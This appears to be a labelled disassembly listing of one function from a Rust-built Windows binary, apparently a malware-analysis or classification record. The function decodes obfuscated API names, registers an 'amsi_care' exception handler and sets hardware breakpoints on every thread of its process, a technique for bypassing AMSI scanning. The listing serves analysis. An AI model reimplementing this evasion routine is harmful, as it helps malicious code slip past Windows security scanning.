Function at 0x401690
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x328
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x330]
push 0x2c8
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp byte [0x5b4038], 0
mov dword [ebp - 0x334], 0x1003f
jne 0x40180f
lea eax, [0x4a2600]
lea edi, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x5f39dc80
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h0bb5da9ca9ea8721
add esp, 8
mov ecx, 0x8bfb5972
mov edx, 0xfa784a18
xor ecx, dword [eax]
xor edx, dword [eax + 4]
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
lea esi, [ebp - 0x50]
lea eax, [ebp - 0x24]
push 8
push esi
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x401cf0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
push eax
call sub.kernel32.dll_GetModuleHandleA
mov edi, eax
test eax, eax
jne 0x40174f
push dword [ebp - 0x14]
call sub.kernel32.dll_LoadLibraryA
mov edi, eax
test eax, eax
je 0x401ca7
lea eax, [0x49d9d3]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x15fa94e5
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::hd0f22dedc59f3cc1
add esp, 8
mov ecx, 0x86a13edd
mov edx, 0x8e230260
mov ebx, 0x2381dfb7
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor ebx, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0xc
xor ah, 0x42
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], ebx
mov byte [ebp - 0x44], al
mov byte [ebp - 0x43], ah
push 0xe
push esi
lea eax, [ebp - 0x24]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x401d23
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
push esi
push edi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x401bc1
mov edi, dword [ebp - 0x14]
test ebx, ebx
mov byte [0x5b4038], 1
mov dword [0x5b403c], eax
mov byte [esi], 0
je 0x4017f6
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
mov byte [edi], 0
test eax, eax
je 0x40180f
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
cmp byte [0x5b4040], 0
jne 0x401952
lea eax, [0x49f61b]
lea esi, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0xedd0dce1
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h8410d0adcad2e53a
add esp, 8
mov ecx, 0x4b4516b9
mov edx, 0xdbda0c70
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, byte [eax + 8]
xor al, 0x1a
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov byte [ebp - 0x48], al
lea ebx, [ebp - 0x50]
lea eax, [ebp - 0x24]
push 9
push ebx
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x401d56
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
push eax
call sub.kernel32.dll_GetModuleHandleA
mov edi, eax
lea eax, [0x49b583]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3a526d79
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h704797d55a96d16a
add esp, 8
mov ecx, 0x8260712c
mov edx, 0x4f356ce
mov esi, 0xab7e9abb
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0x4f
xor ah, 0x13
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], esi
mov byte [ebp - 0x44], al
mov byte [ebp - 0x43], ah
push 0xe
push ebx
lea eax, [ebp - 0x24]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x401d86
mov ebx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
push ebx
push edi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x401bf7
test esi, esi
mov byte [0x5b4040], 1
mov dword [0x5b4044], eax
mov byte [ebx], 0
je 0x401936
push 1
push esi
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp + 8]
test ecx, ecx
mov byte [eax], 0
je 0x401952
push 1
push ecx
push eax
call sym.___rust_dealloc
add esp, 0xc
push sym.__ZN10crypt_file9amsi_care17exception_handler17hb194037c140f2463E_4
push 1
call sub.kernel32.dll_AddVectoredExceptionHandler
xorps xmm0, xmm0
mov esi, eax
movsd qword [ebp - 0x2c], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3c], xmm0
lea eax, [ebp - 0x3c]
push 0
push 0x18
push eax
push 0
push 0xffffffffffffffff
call sub.ntdll.dll_NtQueryInformationProcess
test eax, eax
mov dword [ebp - 0x54], 1
jne 0x401991
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x54], eax
mov eax, dword [0x59ce94]
movzx eax, byte [eax]
push 1
push 0x100000
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x401ce4
mov dword [ebp - 0x58], 0
lea ecx, [ebp - 0x58]
push ecx
push 0x100000
mov dword [ebp - 0x40], eax
push eax
push 5
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
js 0x401c56
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], 0
test eax, eax
mov dword [ebp - 0x68], eax
je 0x401c56
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov dword [ebp - 0x60], esi
mov eax, ecx
add eax, 0xb8
mov dword [ebp - 0x64], eax
nop dword [eax + eax]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x10], edx
cmp dword [ecx + edx + 0x44], eax
je 0x401a40
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx + edx]
test eax, eax
je 0x401acc
add edx, eax
cmp edx, dword [ebp - 0x68]
jb 0x401a10
jmp 0x401acc
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x10]
mov ebx, dword [eax + ecx + 4]
test ebx, ebx
je 0x401a1c
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x10]
lea esi, [eax + ecx]
jmp 0x401a73
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edi*4], ecx
inc edi
mov dword [ebp - 0x1c], edi
add esi, 0x40
dec ebx
je 0x401a1c
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x50], 0
movsd qword [ebp - 0x2c], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3c], xmm0
mov eax, dword [esi + 0x24]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x1fffff
lea eax, [ebp - 0x5c]
push eax
call sub.ntdll.dll_NtOpenThread
test eax, eax
js 0x401a6d
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5c]
cmp edi, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
jne 0x401a60
lea eax, [ebp - 0x24]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::h19937feec1135348
add esp, 4
jmp 0x401a60
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
test edi, edi
je 0x401c3e
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
push 1
push 0x100000
push ecx
call sym.___rust_dealloc
add esp, 0xc
shl edi, 2
mov dword [ebp - 0x10], esi
nop word cs:[eax + eax]
test esi, esi
je 0x401ba2
mov ebx, dword [esi]
lea eax, [ebp - 0x334]
push eax
push ebx
call sub.ntdll.dll_NtGetContextThread
test eax, eax
jne 0x401c7e
cmp byte [0x5b4038], 1
jne 0x401b4d
mov eax, dword [0x5b403c]
mov dword [ebp - 0x330], eax
movzx eax, word [ebp - 0x31c]
or eax, 1
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x320], 0
cmp byte [0x5b4040], 1
jne 0x401b7b
mov eax, dword [0x5b4044]
mov dword [ebp - 0x32c], eax
movzx eax, word [ebp - 0x31c]
or eax, 4
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x320], 0
lea eax, [ebp - 0x334]
push eax
push ebx
call sub.ntdll.dll_NtSetContextThread
test eax, eax
jne 0x401c7e
add esi, 4
push ebx
call sub.ntdll.dll_NtClose
add edi, 0xfffffffc
jne 0x401b00
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 0x60]
mov dword [ebx + 4], eax
mov dword [ebx], 0x80000000
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x401c9c
jmp 0x401cd7
mov eax, dword [ebp + 8]
mov edi, dword [ebp - 0x14]
test ebx, ebx
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov byte [esi], 0
je 0x401cbe
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
jmp 0x401cbe
mov eax, dword [ebp + 8]
test esi, esi
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov byte [ebx], 0
je 0x401c21
push 1
push esi
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp + 8]
test ecx, ecx
mov byte [eax], 0
je 0x401cd7
push 1
push ecx
push eax
jmp 0x401ccf
mov ebx, dword [ebp + 8]
test eax, eax
je 0x401c56
shl eax, 2
push 4
push eax
push dword [ebp - 0x20]
call sym.___rust_dealloc
add esp, 0xc
push 1
push 0x100000
push dword [ebp - 0x40]
call sym.___rust_dealloc
add esp, 0xc
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
jmp 0x401cd7
mov ebx, dword [ebp + 8]
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x401cd7
shl eax, 2
push 4
push eax
push dword [ebp - 0x10]
jmp 0x401ccf
mov edi, dword [ebp - 0x14]
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
mov byte [edi], 0
test eax, eax
je 0x401cd7
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
mov eax, ebx
add esp, 0x328
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x100000
push 1
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x4a7074
push section..rdata
push edi
push 0x2b
push 0x4a7010
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x401db7
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x4a7084
push section..rdata
lea eax, [ebp - 0x3c]
push eax
push 0x2b
push 0x4a7010
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x401db7
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x4a7094
push section..rdata
push esi
push 0x2b
push 0x4a7010
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x401db7
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x4a70a4
push section..rdata
lea eax, [ebp - 0x3c]
push eax
push 0x2b
push 0x4a7010
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
ud2